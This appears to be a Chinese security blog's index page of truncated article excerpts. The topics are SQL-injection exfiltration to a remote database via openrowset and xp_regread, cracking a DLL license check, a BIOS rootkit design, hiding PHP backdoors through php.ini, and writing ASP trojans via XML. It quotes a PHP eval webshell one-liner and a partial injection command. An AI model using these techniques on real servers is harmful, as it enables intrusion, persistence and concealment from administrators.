鬼仔's Blog

文章作者：疯狗 http://www.cnbct.org/

得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库

然后在对方机器上建立个表 create table [dbo].[fenggou]([cha8][char](255))–

在对方执行 DECLARE @result varchar(255) exec master.dbo.xp_regread 阅读全文 »

来源：gyzy's Blog

一个网页，两个PDF

下载地址： Office文档格式资料.rar

鬼仔注：应作者要求，文中人名以XX代替

作者：open

上星期XX丢过来要去自检。就有了以上文章.(听说有三个人都放弃,偶也没有多大信心)
首先偶对这软件不熟。不过大概地分析一下后也略之一二该软件的检证部份应是在DLL里面的吧。因为偶没有分析.疑问：该软件的身份验证偶没有说错的话应是在DLL里。但主程序对DLL有检验。所以要破解他就要改DLL。你可别说破解是用欺骗的方式来完成或者内存补丁(因为DLL是动态加载有可以地址都不同的。所以放出内存补丁是不行的)。因此同样你修改了那个广告连接的HTM也会倒至不上线的结果费话偶不说了。
说下分析：
一开始偶还以为会对那网址做检证。因此直接下内存读写。可惜不是又听说你们说跟MD5有关。我相信你们的话。又去下断MD5。结果还是不是
就这样转了个弯。什么 阅读全文 »

来源：安全焦点

[Author ]: Icelord
[Contact]: [email protected]
[Data ]: @2007/04/26->…

本文介绍一个简单BIOS rootkit的简单设计过程
意在抛砖引玉，期待高手们指点

其中涉及的几篇文字均可在blog.csdn.net/icelord上找到
http://blog.csdn.net/icelord/archive/2007/05.aspx

[申明]

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

本文所涉及到的资料，均来自internet…
由此造成的后果，与本人无关
假设您已经了解x86和NT的相关知识。
阅读全文 »

作者：lis0
来源：lis0's Blog

测试环境：Apache/2.0.49 (Win32) PHP/4.3.1+Winxp sp2

最近在看完了一个程序的代码后又重新温习了PHP中文手册， 在看的过程中突然想到了一个隐藏后门的方法，拿来给大家分享下 嘿嘿:) 在入侵服务器后如何能将后门做到不被管理员大叔发现这是很重要的。因此就出现了各种隐藏的方法，对于php来说大多是插入<?eval($_POST[a]);? >或者include()函数隐藏然后修改文件时间等等。网上多的很我就不在这罗嗦了。
在我们取得一个服务器的最高权限后我们可以通过修改服务器的配置文件php.ini来达到我们隐藏后门的目的。修改系统目录下面的php.ini文件。在php.ini文件第395-397和第420-424一段
阅读全文 »

鬼仔注：本文为总结文，转载请注明来源（ http://huaidan.org ）

这里介绍三种列举某域名下所有二级域名的方法，有知道其他方法的请到 http://huaidan.org/archives/1088.html 留言进行补充~谢谢。

1、命令行下列举
此方法好像是hoky很久以前写的，不过原文步骤有点乱，我又重新整理了一下，以我们小组的站为例
阅读全文 »

鬼仔注：04年的老文，刚发现以前没有发过，存档。

来源：安全焦点
——————————————————-
zzzEVAzzz <[email protected]>
http://www.ph4nt0m.org
2004-11-18
——————————————————-
阅读全文 »

文章来源：黑客防线VIP文章区

这几天一直在学XML，忽然看到了xmlDoc中有一个.SAVE方法，我们就可以在没有FSO的机子上写ASP木马了。
FSO(FileSystemObject)是微软ASP的一个对文件操作的控件,不过好多的个人服务器都不支持或改名了,我们只可以望而生悲了。
首先了解一下XML需要的系统是WINDOWS 2000以上，也就是说我们不必在系统上安装XML parser解析也可以支持XML了。我们狂笑吧，在也不怕服务器上的FSO被改名了。
首先我们介绍一下HTML与XML代码的规范化
1.所有的XML文档必须有一个结束标记
在XML文档中, 忽略结束标记是不符合规定的。
在HTML文档中，一些元素可以是没有结束标记的。下面的代码在HTML中是完全合法的：
阅读全文 »